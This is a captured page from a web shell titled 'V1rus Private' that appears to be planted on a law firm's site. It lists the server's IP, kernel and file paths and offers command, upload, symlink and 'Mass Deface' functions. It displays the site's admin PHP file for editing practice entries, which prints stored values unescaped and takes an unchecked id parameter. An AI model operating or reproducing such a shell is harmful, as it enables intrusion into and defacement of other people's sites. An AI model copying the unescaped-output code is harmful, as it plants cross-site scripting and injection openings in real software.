V1rus Private
User / IP
:
216.73.217.26
Host / Server
:
103.138.189.202 / chaitanyalaw.com
System
:
Linux s1325.sgp1.mysecurecloudhost.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC 2023 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
chaitany
/
public_html
/
CMS
/
Practices
/
Viewing: editpra.php
<?php include("../layouts/navbar.php"); include('managepra.php'); $id = $_GET['id']; $data = previousdata($conn, $id); if (isset($_POST['update'])) { update($conn, $id, $_POST); } ?> <script src="../js/bootstrap.bundel.min.js"> </script> <div class="" id="edittestimonial" style="margin-top: 125px;"> <div class="modal-dialog"> <div class="modal-content"> <!-- Modal Header --> <div class="modal-header"> <h4 class="modal-title">Edit Practices</h4> </div> <!-- Modal body --> <div class="modal-body"> <form method="post" action="" enctype="multipart/form-data"> <div class="mb-3"> <label for="recipient-name" class="col-form-label">Title</label> <input type="text" class="form-control" id="" name="title" value="<?php echo $data['title']; ?>" required pattern="[A-Z].[A-Z a-z]+" required title="Title must be in alphabate, First Letter Must be in captial, Alphabate must be less than 80 character" autocomplete="off"> </div> <div class="mb-3"> <label for="recipient-name" class="col-form-label">Content:</label> <textarea name="content" class="form-control" id="" cols="30" rows="5" required autocomplete="off"><?php echo $data['content']; ?></textarea> </div> <div class="mb-3"> <label for="formFile" class="form-label">Choose File</label> <input type="file" class="form-control" id="formFile" name="file" accept="image/jpg,image/png"> <span class="text-danger"> <?php echo $data['files'] ?> </span> <p class="text-warning"><strong>Warning</strong> : If new file is not selected previous file will be uploaded/Image size must be less the 2MB</p> </div> </div> <!-- Modal footer --> <div class="modal-footer"> <a href="<?php echo ADMINURL . 'Practices/showpra.php'; ?>" class="btn btn-secondary my-4 float-start" role="button">Cancel</a> <button type="submit" class="btn btn-primary" name="update">Submit</button> </div> </form> </div> </div> </div> <?php include('../layouts/footer.php'); ?>
Coded With 💗 by
HanzOFC